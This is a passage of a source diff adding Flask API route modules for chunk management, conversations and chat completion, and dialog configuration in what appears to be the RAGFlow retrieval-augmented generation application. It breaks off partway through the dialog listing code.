+# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import datetime +import json +import re + +import xxhash +from flask import request +from flask_login import current_user, login_required + +from api import settings +from api.db import LLMType, ParserType +from api.db.services.dialog_service import meta_filter +from api.db.services.document_service import DocumentService +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.db.services.llm_service import LLMBundle +from api.db.services.search_service import SearchService +from api.db.services.user_service import UserTenantService +from api.utils.api_utils import get_data_error_result, get_json_result, server_error_response, validate_request +from rag.app.qa import beAdoc, rmPrefix +from rag.app.tag import label_question +from rag.nlp import rag_tokenizer, search +from rag.prompts.generator import gen_meta_filter, cross_languages, keyword_extraction +from rag.settings import PAGERANK_FLD +from rag.utils import rmSpace + + +@manager.route('/list', methods=['POST']) # noqa: F821 +@login_required +@validate_request("doc_id") +def list_chunk(): + req = request.json + doc_id = req["doc_id"] + page = int(req.get("page", 1)) + size = int(req.get("size", 30)) + question = req.get("keywords", "") + try: + tenant_id = DocumentService.get_tenant_id(req["doc_id"]) + if not tenant_id: + return get_data_error_result(message="Tenant not found!") + e, doc = DocumentService.get_by_id(doc_id) + if not e: + return get_data_error_result(message="Document not found!") + kb_ids = KnowledgebaseService.get_kb_ids(tenant_id) + query = { + "doc_ids": [doc_id], "page": page, "size": size, "question": question, "sort": True + } + if "available_int" in req: + query["available_int"] = int(req["available_int"]) + sres = settings.retrievaler.search(query, search.index_name(tenant_id), kb_ids, highlight=True) + res = {"total": sres.total, "chunks": [], "doc": doc.to_dict()} + for id in sres.ids: + d = { + "chunk_id": id, + "content_with_weight": rmSpace(sres.highlight[id]) if question and id in sres.highlight else sres.field[ + id].get( + "content_with_weight", ""), + "doc_id": sres.field[id]["doc_id"], + "docnm_kwd": sres.field[id]["docnm_kwd"], + "important_kwd": sres.field[id].get("important_kwd", []), + "question_kwd": sres.field[id].get("question_kwd", []), + "image_id": sres.field[id].get("img_id", ""), + "available_int": int(sres.field[id].get("available_int", 1)), + "positions": sres.field[id].get("position_int", []), + } + assert isinstance(d["positions"], list) + assert len(d["positions"]) == 0 or (isinstance(d["positions"][0], list) and len(d["positions"][0]) == 5) + res["chunks"].append(d) + return get_json_result(data=res) + except Exception as e: + if str(e).find("not_found") > 0: + return get_json_result(data=False, message='No chunk found!', + code=settings.RetCode.DATA_ERROR) + return server_error_response(e) + + +@manager.route('/get', methods=['GET']) # noqa: F821 +@login_required +def get(): + chunk_id = request.args["chunk_id"] + try: + chunk = None + tenants = UserTenantService.query(user_id=current_user.id) + if not tenants: + return get_data_error_result(message="Tenant not found!") + for tenant in tenants: + kb_ids = KnowledgebaseService.get_kb_ids(tenant.tenant_id) + chunk = settings.docStoreConn.get(chunk_id, search.index_name(tenant.tenant_id), kb_ids) + if chunk: + break + if chunk is None: + return server_error_response(Exception("Chunk not found")) + + k = [] + for n in chunk.keys(): + if re.search(r"(_vec$|_sm_|_tks|_ltks)", n): + k.append(n) + for n in k: + del chunk[n] + + return get_json_result(data=chunk) + except Exception as e: + if str(e).find("NotFoundError") >= 0: + return get_json_result(data=False, message='Chunk not found!', + code=settings.RetCode.DATA_ERROR) + return server_error_response(e) + + +@manager.route('/set', methods=['POST']) # noqa: F821 +@login_required +@validate_request("doc_id", "chunk_id", "content_with_weight") +def set(): + req = request.json + d = { + "id": req["chunk_id"], + "content_with_weight": req["content_with_weight"]} + d["content_ltks"] = rag_tokenizer.tokenize(req["content_with_weight"]) + d["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(d["content_ltks"]) + if "important_kwd" in req: + if not isinstance(req["important_kwd"], list): + return get_data_error_result(message="`important_kwd` should be a list") + d["important_kwd"] = req["important_kwd"] + d["important_tks"] = rag_tokenizer.tokenize(" ".join(req["important_kwd"])) + if "question_kwd" in req: + if not isinstance(req["question_kwd"], list): + return get_data_error_result(message="`question_kwd` should be a list") + d["question_kwd"] = req["question_kwd"] + d["question_tks"] = rag_tokenizer.tokenize("\n".join(req["question_kwd"])) + if "tag_kwd" in req: + d["tag_kwd"] = req["tag_kwd"] + if "tag_feas" in req: + d["tag_feas"] = req["tag_feas"] + if "available_int" in req: + d["available_int"] = req["available_int"] + + try: + tenant_id = DocumentService.get_tenant_id(req["doc_id"]) + if not tenant_id: + return get_data_error_result(message="Tenant not found!") + + embd_id = DocumentService.get_embd_id(req["doc_id"]) + embd_mdl = LLMBundle(tenant_id, LLMType.EMBEDDING, embd_id) + + e, doc = DocumentService.get_by_id(req["doc_id"]) + if not e: + return get_data_error_result(message="Document not found!") + + if doc.parser_id == ParserType.QA: + arr = [ + t for t in re.split( + r"[\n\t]", + req["content_with_weight"]) if len(t) > 1] + q, a = rmPrefix(arr[0]), rmPrefix("\n".join(arr[1:])) + d = beAdoc(d, q, a, not any( + [rag_tokenizer.is_chinese(t) for t in q + a])) + + v, c = embd_mdl.encode([doc.name, req["content_with_weight"] if not d.get("question_kwd") else "\n".join(d["question_kwd"])]) + v = 0.1 * v[0] + 0.9 * v[1] if doc.parser_id != ParserType.QA else v[1] + d["q_%d_vec" % len(v)] = v.tolist() + settings.docStoreConn.update({"id": req["chunk_id"]}, d, search.index_name(tenant_id), doc.kb_id) + return get_json_result(data=True) + except Exception as e: + return server_error_response(e) + + +@manager.route('/switch', methods=['POST']) # noqa: F821 +@login_required +@validate_request("chunk_ids", "available_int", "doc_id") +def switch(): + req = request.json + try: + e, doc = DocumentService.get_by_id(req["doc_id"]) + if not e: + return get_data_error_result(message="Document not found!") + for cid in req["chunk_ids"]: + if not settings.docStoreConn.update({"id": cid}, + {"available_int": int(req["available_int"])}, + search.index_name(DocumentService.get_tenant_id(req["doc_id"])), + doc.kb_id): + return get_data_error_result(message="Index updating failure") + return get_json_result(data=True) + except Exception as e: + return server_error_response(e) + + +@manager.route('/rm', methods=['POST']) # noqa: F821 +@login_required +@validate_request("chunk_ids", "doc_id") +def rm(): + from rag.utils.storage_factory import STORAGE_IMPL + req = request.json + try: + e, doc = DocumentService.get_by_id(req["doc_id"]) + if not e: + return get_data_error_result(message="Document not found!") + if not settings.docStoreConn.delete({"id": req["chunk_ids"]}, + search.index_name(DocumentService.get_tenant_id(req["doc_id"])), + doc.kb_id): + return get_data_error_result(message="Chunk deleting failure") + deleted_chunk_ids = req["chunk_ids"] + chunk_number = len(deleted_chunk_ids) + DocumentService.decrement_chunk_num(doc.id, doc.kb_id, 1, chunk_number, 0) + for cid in deleted_chunk_ids: + if STORAGE_IMPL.obj_exist(doc.kb_id, cid): + STORAGE_IMPL.rm(doc.kb_id, cid) + return get_json_result(data=True) + except Exception as e: + return server_error_response(e) + + +@manager.route('/create', methods=['POST']) # noqa: F821 +@login_required +@validate_request("doc_id", "content_with_weight") +def create(): + req = request.json + chunck_id = xxhash.xxh64((req["content_with_weight"] + req["doc_id"]).encode("utf-8")).hexdigest() + d = {"id": chunck_id, "content_ltks": rag_tokenizer.tokenize(req["content_with_weight"]), + "content_with_weight": req["content_with_weight"]} + d["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(d["content_ltks"]) + d["important_kwd"] = req.get("important_kwd", []) + if not isinstance(d["important_kwd"], list): + return get_data_error_result(message="`important_kwd` is required to be a list") + d["important_tks"] = rag_tokenizer.tokenize(" ".join(d["important_kwd"])) + d["question_kwd"] = req.get("question_kwd", []) + if not isinstance(d["question_kwd"], list): + return get_data_error_result(message="`question_kwd` is required to be a list") + d["question_tks"] = rag_tokenizer.tokenize("\n".join(d["question_kwd"])) + d["create_time"] = str(datetime.datetime.now()).replace("T", " ")[:19] + d["create_timestamp_flt"] = datetime.datetime.now().timestamp() + if "tag_feas" in req: + d["tag_feas"] = req["tag_feas"] + if "tag_feas" in req: + d["tag_feas"] = req["tag_feas"] + + try: + e, doc = DocumentService.get_by_id(req["doc_id"]) + if not e: + return get_data_error_result(message="Document not found!") + d["kb_id"] = [doc.kb_id] + d["docnm_kwd"] = doc.name + d["title_tks"] = rag_tokenizer.tokenize(doc.name) + d["doc_id"] = doc.id + + tenant_id = DocumentService.get_tenant_id(req["doc_id"]) + if not tenant_id: + return get_data_error_result(message="Tenant not found!") + + e, kb = KnowledgebaseService.get_by_id(doc.kb_id) + if not e: + return get_data_error_result(message="Knowledgebase not found!") + if kb.pagerank: + d[PAGERANK_FLD] = kb.pagerank + + embd_id = DocumentService.get_embd_id(req["doc_id"]) + embd_mdl = LLMBundle(tenant_id, LLMType.EMBEDDING.value, embd_id) + + v, c = embd_mdl.encode([doc.name, req["content_with_weight"] if not d["question_kwd"] else "\n".join(d["question_kwd"])]) + v = 0.1 * v[0] + 0.9 * v[1] + d["q_%d_vec" % len(v)] = v.tolist() + settings.docStoreConn.insert([d], search.index_name(tenant_id), doc.kb_id) + + DocumentService.increment_chunk_num( + doc.id, doc.kb_id, c, 1, 0) + return get_json_result(data={"chunk_id": chunck_id}) + except Exception as e: + return server_error_response(e) + + +@manager.route('/retrieval_test', methods=['POST']) # noqa: F821 +@login_required +@validate_request("kb_id", "question") +def retrieval_test(): + req = request.json + page = int(req.get("page", 1)) + size = int(req.get("size", 30)) + question = req["question"] + kb_ids = req["kb_id"] + if isinstance(kb_ids, str): + kb_ids = [kb_ids] + if not kb_ids: + return get_json_result(data=False, message='Please specify dataset firstly.', + code=settings.RetCode.DATA_ERROR) + + doc_ids = req.get("doc_ids", []) + use_kg = req.get("use_kg", False) + top = int(req.get("top_k", 1024)) + langs = req.get("cross_languages", []) + tenant_ids = [] + + if req.get("search_id", ""): + search_config = SearchService.get_detail(req.get("search_id", "")).get("search_config", {}) + meta_data_filter = search_config.get("meta_data_filter", {}) + metas = DocumentService.get_meta_by_kbs(kb_ids) + if meta_data_filter.get("method") == "auto": + chat_mdl = LLMBundle(current_user.id, LLMType.CHAT, llm_name=search_config.get("chat_id", "")) + filters = gen_meta_filter(chat_mdl, metas, question) + doc_ids.extend(meta_filter(metas, filters)) + if not doc_ids: + doc_ids = None + elif meta_data_filter.get("method") == "manual": + doc_ids.extend(meta_filter(metas, meta_data_filter["manual"])) + if not doc_ids: + doc_ids = None + + try: + tenants = UserTenantService.query(user_id=current_user.id) + for kb_id in kb_ids: + for tenant in tenants: + if KnowledgebaseService.query( + tenant_id=tenant.tenant_id, id=kb_id): + tenant_ids.append(tenant.tenant_id) + break + else: + return get_json_result( + data=False, message='Only owner of knowledgebase authorized for this operation.', + code=settings.RetCode.OPERATING_ERROR) + + e, kb = KnowledgebaseService.get_by_id(kb_ids[0]) + if not e: + return get_data_error_result(message="Knowledgebase not found!") + + if langs: + question = cross_languages(kb.tenant_id, None, question, langs) + + embd_mdl = LLMBundle(kb.tenant_id, LLMType.EMBEDDING.value, llm_name=kb.embd_id) + + rerank_mdl = None + if req.get("rerank_id"): + rerank_mdl = LLMBundle(kb.tenant_id, LLMType.RERANK.value, llm_name=req["rerank_id"]) + + if req.get("keyword", False): + chat_mdl = LLMBundle(kb.tenant_id, LLMType.CHAT) + question += keyword_extraction(chat_mdl, question) + + labels = label_question(question, [kb]) + ranks = settings.retrievaler.retrieval(question, embd_mdl, tenant_ids, kb_ids, page, size, + float(req.get("similarity_threshold", 0.0)), + float(req.get("vector_similarity_weight", 0.3)), + top, + doc_ids, rerank_mdl=rerank_mdl, highlight=req.get("highlight"), + rank_feature=labels + ) + if use_kg: + ck = settings.kg_retrievaler.retrieval(question, + tenant_ids, + kb_ids, + embd_mdl, + LLMBundle(kb.tenant_id, LLMType.CHAT)) + if ck["content_with_weight"]: + ranks["chunks"].insert(0, ck) + + for c in ranks["chunks"]: + c.pop("vector", None) + ranks["labels"] = labels + + return get_json_result(data=ranks) + except Exception as e: + if str(e).find("not_found") > 0: + return get_json_result(data=False, message='No chunk found! Check the chunk status please!', + code=settings.RetCode.DATA_ERROR) + return server_error_response(e) + + +@manager.route('/knowledge_graph', methods=['GET']) # noqa: F821 +@login_required +def knowledge_graph(): + doc_id = request.args["doc_id"] + tenant_id = DocumentService.get_tenant_id(doc_id) + kb_ids = KnowledgebaseService.get_kb_ids(tenant_id) + req = { + "doc_ids": [doc_id], + "knowledge_graph_kwd": ["graph", "mind_map"] + } + sres = settings.retrievaler.search(req, search.index_name(tenant_id), kb_ids) + obj = {"graph": {}, "mind_map": {}} + for id in sres.ids[:2]: + ty = sres.field[id]["knowledge_graph_kwd"] + try: + content_json = json.loads(sres.field[id]["content_with_weight"]) + except Exception: + continue + + if ty == 'mind_map': + node_dict = {} + + def repeat_deal(content_json, node_dict): + if 'id' in content_json: + if content_json['id'] in node_dict: + node_name = content_json['id'] + content_json['id'] += f"({node_dict[content_json['id']]})" + node_dict[node_name] += 1 + else: + node_dict[content_json['id']] = 1 + if 'children' in content_json and content_json['children']: + for item in content_json['children']: + repeat_deal(item, node_dict) + + repeat_deal(content_json, node_dict) + + obj[ty] = content_json + + return get_json_result(data=obj) diff --git a/api/apps/conversation_app.py b/api/apps/conversation_app.py new file mode 100644 index 0000000..48b9a15 --- /dev/null +++ b/api/apps/conversation_app.py @@ -0,0 +1,419 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +import re +import logging +from copy import deepcopy +from flask import Response, request +from flask_login import current_user, login_required +from api import settings +from api.db import LLMType +from api.db.db_models import APIToken +from api.db.services.conversation_service import ConversationService, structure_answer +from api.db.services.dialog_service import DialogService, ask, chat, gen_mindmap +from api.db.services.llm_service import LLMBundle +from api.db.services.search_service import SearchService +from api.db.services.tenant_llm_service import TenantLLMService +from api.db.services.user_service import TenantService, UserTenantService +from api.utils.api_utils import get_data_error_result, get_json_result, server_error_response, validate_request +from rag.prompts.template import load_prompt +from rag.prompts.generator import chunks_format + + +@manager.route("/set", methods=["POST"]) # noqa: F821 +@login_required +def set_conversation(): + req = request.json + conv_id = req.get("conversation_id") + is_new = req.get("is_new") + name = req.get("name", "New conversation") + req["user_id"] = current_user.id + + if len(name) > 255: + name = name[0:255] + + del req["is_new"] + if not is_new: + del req["conversation_id"] + try: + if not ConversationService.update_by_id(conv_id, req): + return get_data_error_result(message="Conversation not found!") + e, conv = ConversationService.get_by_id(conv_id) + if not e: + return get_data_error_result(message="Fail to update a conversation!") + conv = conv.to_dict() + return get_json_result(data=conv) + except Exception as e: + return server_error_response(e) + + try: + e, dia = DialogService.get_by_id(req["dialog_id"]) + if not e: + return get_data_error_result(message="Dialog not found") + conv = { + "id": conv_id, + "dialog_id": req["dialog_id"], + "name": name, + "message": [{"role": "assistant", "content": dia.prompt_config["prologue"]}], + "user_id": current_user.id, + "reference": [], + } + ConversationService.save(**conv) + return get_json_result(data=conv) + except Exception as e: + return server_error_response(e) + + +@manager.route("/get", methods=["GET"]) # noqa: F821 +@login_required +def get(): + conv_id = request.args["conversation_id"] + try: + e, conv = ConversationService.get_by_id(conv_id) + if not e: + return get_data_error_result(message="Conversation not found!") + tenants = UserTenantService.query(user_id=current_user.id) + avatar = None + for tenant in tenants: + dialog = DialogService.query(tenant_id=tenant.tenant_id, id=conv.dialog_id) + if dialog and len(dialog) > 0: + avatar = dialog[0].icon + break + else: + return get_json_result(data=False, message="Only owner of conversation authorized for this operation.", code=settings.RetCode.OPERATING_ERROR) + + for ref in conv.reference: + if isinstance(ref, list): + continue + ref["chunks"] = chunks_format(ref) + + conv = conv.to_dict() + conv["avatar"] = avatar + return get_json_result(data=conv) + except Exception as e: + return server_error_response(e) + + +@manager.route("/getsse/", methods=["GET"]) # type: ignore # noqa: F821 +def getsse(dialog_id): + token = request.headers.get("Authorization").split() + if len(token) != 2: + return get_data_error_result(message='Authorization is not valid!"') + token = token[1] + objs = APIToken.query(beta=token) + if not objs: + return get_data_error_result(message='Authentication error: API key is invalid!"') + try: + e, conv = DialogService.get_by_id(dialog_id) + if not e: + return get_data_error_result(message="Dialog not found!") + conv = conv.to_dict() + conv["avatar"] = conv["icon"] + del conv["icon"] + return get_json_result(data=conv) + except Exception as e: + return server_error_response(e) + + +@manager.route("/rm", methods=["POST"]) # noqa: F821 +@login_required +def rm(): + conv_ids = request.json["conversation_ids"] + try: + for cid in conv_ids: + exist, conv = ConversationService.get_by_id(cid) + if not exist: + return get_data_error_result(message="Conversation not found!") + tenants = UserTenantService.query(user_id=current_user.id) + for tenant in tenants: + if DialogService.query(tenant_id=tenant.tenant_id, id=conv.dialog_id): + break + else: + return get_json_result(data=False, message="Only owner of conversation authorized for this operation.", code=settings.RetCode.OPERATING_ERROR) + ConversationService.delete_by_id(cid) + return get_json_result(data=True) + except Exception as e: + return server_error_response(e) + + +@manager.route("/list", methods=["GET"]) # noqa: F821 +@login_required +def list_conversation(): + dialog_id = request.args["dialog_id"] + try: + if not DialogService.query(tenant_id=current_user.id, id=dialog_id): + return get_json_result(data=False, message="Only owner of dialog authorized for this operation.", code=settings.RetCode.OPERATING_ERROR) + convs = ConversationService.query(dialog_id=dialog_id, order_by=ConversationService.model.create_time, reverse=True) + + convs = [d.to_dict() for d in convs] + return get_json_result(data=convs) + except Exception as e: + return server_error_response(e) + + +@manager.route("/completion", methods=["POST"]) # noqa: F821 +@login_required +@validate_request("conversation_id", "messages") +def completion(): + req = request.json + msg = [] + for m in req["messages"]: + if m["role"] == "system": + continue + if m["role"] == "assistant" and not msg: + continue + msg.append(m) + message_id = msg[-1].get("id") + chat_model_id = req.get("llm_id", "") + req.pop("llm_id", None) + + chat_model_config = {} + for model_config in [ + "temperature", + "top_p", + "frequency_penalty", + "presence_penalty", + "max_tokens", + ]: + config = req.get(model_config) + if config: + chat_model_config[model_config] = config + + try: + e, conv = ConversationService.get_by_id(req["conversation_id"]) + if not e: + return get_data_error_result(message="Conversation not found!") + conv.message = deepcopy(req["messages"]) + e, dia = DialogService.get_by_id(conv.dialog_id) + if not e: + return get_data_error_result(message="Dialog not found!") + del req["conversation_id"] + del req["messages"] + + if not conv.reference: + conv.reference = [] + conv.reference = [r for r in conv.reference if r] + conv.reference.append({"chunks": [], "doc_aggs": []}) + + if chat_model_id: + if not TenantLLMService.get_api_key(tenant_id=dia.tenant_id, model_name=chat_model_id): + req.pop("chat_model_id", None) + req.pop("chat_model_config", None) + return get_data_error_result(message=f"Cannot use specified model {chat_model_id}.") + dia.llm_id = chat_model_id + dia.llm_setting = chat_model_config + + is_embedded = bool(chat_model_id) + def stream(): + nonlocal dia, msg, req, conv + try: + for ans in chat(dia, msg, True, **req): + ans = structure_answer(conv, ans, message_id, conv.id) + yield "data:" + json.dumps({"code": 0, "message": "", "data": ans}, ensure_ascii=False) + "\n\n" + if not is_embedded: + ConversationService.update_by_id(conv.id, conv.to_dict()) + except Exception as e: + logging.exception(e) + yield "data:" + json.dumps({"code": 500, "message": str(e), "data": {"answer": "**ERROR**: " + str(e), "reference": []}}, ensure_ascii=False) + "\n\n" + yield "data:" + json.dumps({"code": 0, "message": "", "data": True}, ensure_ascii=False) + "\n\n" + + if req.get("stream", True): + resp = Response(stream(), mimetype="text/event-stream") + resp.headers.add_header("Cache-control", "no-cache") + resp.headers.add_header("Connection", "keep-alive") + resp.headers.add_header("X-Accel-Buffering", "no") + resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8") + return resp + + else: + answer = None + for ans in chat(dia, msg, **req): + answer = structure_answer(conv, ans, message_id, conv.id) + if not is_embedded: + ConversationService.update_by_id(conv.id, conv.to_dict()) + break + return get_json_result(data=answer) + except Exception as e: + return server_error_response(e) + + +@manager.route("/tts", methods=["POST"]) # noqa: F821 +@login_required +def tts(): + req = request.json + text = req["text"] + + tenants = TenantService.get_info_by(current_user.id) + if not tenants: + return get_data_error_result(message="Tenant not found!") + + tts_id = tenants[0]["tts_id"] + if not tts_id: + return get_data_error_result(message="No default TTS model is set") + + tts_mdl = LLMBundle(tenants[0]["tenant_id"], LLMType.TTS, tts_id) + + def stream_audio(): + try: + for txt in re.split(r"[，。/《》？；：！\n\r:;]+", text): + for chunk in tts_mdl.tts(txt): + yield chunk + except Exception as e: + yield ("data:" + json.dumps({"code": 500, "message": str(e), "data": {"answer": "**ERROR**: " + str(e)}}, ensure_ascii=False)).encode("utf-8") + + resp = Response(stream_audio(), mimetype="audio/mpeg") + resp.headers.add_header("Cache-Control", "no-cache") + resp.headers.add_header("Connection", "keep-alive") + resp.headers.add_header("X-Accel-Buffering", "no") + + return resp + + +@manager.route("/delete_msg", methods=["POST"]) # noqa: F821 +@login_required +@validate_request("conversation_id", "message_id") +def delete_msg(): + req = request.json + e, conv = ConversationService.get_by_id(req["conversation_id"]) + if not e: + return get_data_error_result(message="Conversation not found!") + + conv = conv.to_dict() + for i, msg in enumerate(conv["message"]): + if req["message_id"] != msg.get("id", ""): + continue + assert conv["message"][i + 1]["id"] == req["message_id"] + conv["message"].pop(i) + conv["message"].pop(i) + conv["reference"].pop(max(0, i // 2 - 1)) + break + + ConversationService.update_by_id(conv["id"], conv) + return get_json_result(data=conv) + + +@manager.route("/thumbup", methods=["POST"]) # noqa: F821 +@login_required +@validate_request("conversation_id", "message_id") +def thumbup(): + req = request.json + e, conv = ConversationService.get_by_id(req["conversation_id"]) + if not e: + return get_data_error_result(message="Conversation not found!") + up_down = req.get("thumbup") + feedback = req.get("feedback", "") + conv = conv.to_dict() + for i, msg in enumerate(conv["message"]): + if req["message_id"] == msg.get("id", "") and msg.get("role", "") == "assistant": + if up_down: + msg["thumbup"] = True + if "feedback" in msg: + del msg["feedback"] + else: + msg["thumbup"] = False + if feedback: + msg["feedback"] = feedback + break + + ConversationService.update_by_id(conv["id"], conv) + return get_json_result(data=conv) + + +@manager.route("/ask", methods=["POST"]) # noqa: F821 +@login_required +@validate_request("question", "kb_ids") +def ask_about(): + req = request.json + uid = current_user.id + + search_id = req.get("search_id", "") + search_app = None + search_config = {} + if search_id: + search_app = SearchService.get_detail(search_id) + if search_app: + search_config = search_app.get("search_config", {}) + + def stream(): + nonlocal req, uid + try: + for ans in ask(req["question"], req["kb_ids"], uid, search_config=search_config): + yield "data:" + json.dumps({"code": 0, "message": "", "data": ans}, ensure_ascii=False) + "\n\n" + except Exception as e: + yield "data:" + json.dumps({"code": 500, "message": str(e), "data": {"answer": "**ERROR**: " + str(e), "reference": []}}, ensure_ascii=False) + "\n\n" + yield "data:" + json.dumps({"code": 0, "message": "", "data": True}, ensure_ascii=False) + "\n\n" + + resp = Response(stream(), mimetype="text/event-stream") + resp.headers.add_header("Cache-control", "no-cache") + resp.headers.add_header("Connection", "keep-alive") + resp.headers.add_header("X-Accel-Buffering", "no") + resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8") + return resp + + +@manager.route("/mindmap", methods=["POST"]) # noqa: F821 +@login_required +@validate_request("question", "kb_ids") +def mindmap(): + req = request.json + search_id = req.get("search_id", "") + search_app = SearchService.get_detail(search_id) if search_id else {} + search_config = search_app.get("search_config", {}) if search_app else {} + kb_ids = search_config.get("kb_ids", []) + kb_ids.extend(req["kb_ids"]) + kb_ids = list(set(kb_ids)) + + mind_map = gen_mindmap(req["question"], kb_ids, search_app.get("tenant_id", current_user.id), search_config) + if "error" in mind_map: + return server_error_response(Exception(mind_map["error"])) + return get_json_result(data=mind_map) + + +@manager.route("/related_questions", methods=["POST"]) # noqa: F821 +@login_required +@validate_request("question") +def related_questions(): + req = request.json + + search_id = req.get("search_id", "") + search_config = {} + if search_id: + if search_app := SearchService.get_detail(search_id): + search_config = search_app.get("search_config", {}) + + question = req["question"] + + chat_id = search_config.get("chat_id", "") + chat_mdl = LLMBundle(current_user.id, LLMType.CHAT, chat_id) + + gen_conf = search_config.get("llm_setting", {"temperature": 0.9}) + if "parameter" in gen_conf: + del gen_conf["parameter"] + prompt = load_prompt("related_question") + ans = chat_mdl.chat( + prompt, + [ + { + "role": "user", + "content": f""" +Keywords: {question} +Related search terms: + """, + } + ], + gen_conf, + ) + return get_json_result(data=[re.sub(r"^[0-9]\. ", "", a) for a in ans.split("\n") if re.match(r"^[0-9]\. ", a)]) diff --git a/api/apps/dialog_app.py b/api/apps/dialog_app.py new file mode 100644 index 0000000..e7f1e06 --- /dev/null +++ b/api/apps/dialog_app.py @@ -0,0 +1,227 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +from flask import request +from flask_login import login_required, current_user +from api.db.services import duplicate_name +from api.db.services.dialog_service import DialogService +from api.db import StatusEnum +from api.db.services.tenant_llm_service import TenantLLMService +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.db.services.user_service import TenantService, UserTenantService +from api import settings +from api.utils.api_utils import server_error_response, get_data_error_result, validate_request +from api.utils import get_uuid +from api.utils.api_utils import get_json_result + + +@manager.route('/set', methods=['POST']) # noqa: F821 +@validate_request("prompt_config") +@login_required +def set_dialog(): + req = request.json + dialog_id = req.get("dialog_id", "") + is_create = not dialog_id + name = req.get("name", "New Dialog") + if not isinstance(name, str): + return get_data_error_result(message="Dialog name must be string.") + if name.strip() == "": + return get_data_error_result(message="Dialog name can't be empty.") + if len(name.encode("utf-8")) > 255: + return get_data_error_result(message=f"Dialog name length is {len(name)} which is larger than 255") + + if is_create and DialogService.query(tenant_id=current_user.id, name=name.strip()): + name = name.strip() + name = duplicate_name( + DialogService.query, + name=name, + tenant_id=current_user.id, + status=StatusEnum.VALID.value) + + description = req.get("description", "A helpful dialog") + icon = req.get("icon", "") + top_n = req.get("top_n", 6) + top_k = req.get("top_k", 1024) + rerank_id = req.get("rerank_id", "") + if not rerank_id: + req["rerank_id"] = "" + similarity_threshold = req.get("similarity_threshold", 0.1) + vector_similarity_weight = req.get("vector_similarity_weight", 0.3) + llm_setting = req.get("llm_setting", {}) + meta_data_filter = req.get("meta_data_filter", {}) + prompt_config = req["prompt_config"] + + if not is_create: + if not req.get("kb_ids", []) and not prompt_config.get("tavily_api_key") and "{knowledge}" in prompt_config['system']: + return get_data_error_result(message="Please remove `{knowledge}` in system prompt since no knowledge base / Tavily used here.") + + for p in prompt_config["parameters"]: + if p["optional"]: + continue + if prompt_config["system"].find("{%s}" % p["key"]) < 0: + return get_data_error_result( + message="Parameter '{}' is not used".format(p["key"])) + + try: + e, tenant = TenantService.get_by_id(current_user.id) + if not e: + return get_data_error_result(message="Tenant not found!") + kbs = KnowledgebaseService.get_by_ids(req.get("kb_ids", [])) + embd_ids = [TenantLLMService.split_model_name_and_factory(kb.embd_id)[0] for kb in kbs] # remove vendor suffix for comparison + embd_count = len(set(embd_ids)) + if embd_count > 1: + return get_data_error_result(message=f'Datasets use different embedding models: {[kb.embd_id for kb in kbs]}"') + + llm_id = req.get("llm_id", tenant.llm_id) + if not dialog_id: + dia = { + "id": get_uuid(), + "tenant_id": current_user.id, + "name": name, + "kb_ids": req.get("kb_ids", []), + "description": description, + "llm_id": llm_id, + "llm_setting": llm_setting, + "prompt_config": prompt_config, + "meta_data_filter": meta_data_filter, + "top_n": top_n, + "top_k": top_k, + "rerank_id": rerank_id, + "similarity_threshold": similarity_threshold, + "vector_similarity_weight": vector_similarity_weight, + "icon": icon + } + if not DialogService.save(**dia): + return get_data_error_result(message="Fail to new a dialog!") + return get_json_result(data=dia) + else: + del req["dialog_id"] + if "kb_names" in req: + del req["kb_names"] + if not DialogService.update_by_id(dialog_id, req): + return get_data_error_result(message="Dialog not found!") + e, dia = DialogService.get_by_id(dialog_id) + if not e: + return get_data_error_result(message="Fail to update a dialog!") + dia = dia.to_dict() + dia.update(req) + dia["kb_ids"], dia["kb_names"] = get_kb_names(dia["kb_ids"]) + return get_json_result(data=dia) + except Exception as e: + return server_error_response(e) + + +@manager.route('/get', methods=['GET']) # noqa: F821 +@login_required +def get(): + dialog_id = request.args["dialog_id"] + try: + e, dia = DialogService.get_by_id(dialog_id) + if not e: + return get_data_error_result(message="Dialog not found!") + dia = dia.to_dict() + dia["kb_ids"], dia["kb_names"] = get_kb_names(dia["kb_ids"]) + return get_json_result(data=dia) + except Exception as e: + return server_error_response(e) + + +def get_kb_names(kb_ids): + ids, nms = [], [] + for kid in kb_ids: + e, kb = KnowledgebaseService.get_by_id(kid) + if not e or kb.status != StatusEnum.VALID.value: + continue + ids.append(kid) + nms.append(kb.name) + return ids, nms + + +@manager.route('/list', methods=['GET']) # noqa: F821 +@login_required +def list_dialogs(): + try: + diags = DialogService.query( + tenant_id=current_user.id, + status=StatusEnum.VALID.value, + reverse=True, + order_by=DialogService.model.create_time) + diags = [d.to_dict() for d in diags] + for d in diags: + d["kb_ids"], d["kb_names"] = get_kb_names(d["kb_ids"]) + return get_json_result(data=diags) + except Exception as e: + return server_error_response(e) + + +@manager.route('/next', methods=['POST']) # noqa: F821 +@login_required +def list_dialogs_next(): + keywords = request.args.get("keywords", "") + page_number = int(request.args.get("page", 0)) + items_per_page = int(request.args.get("page_size", 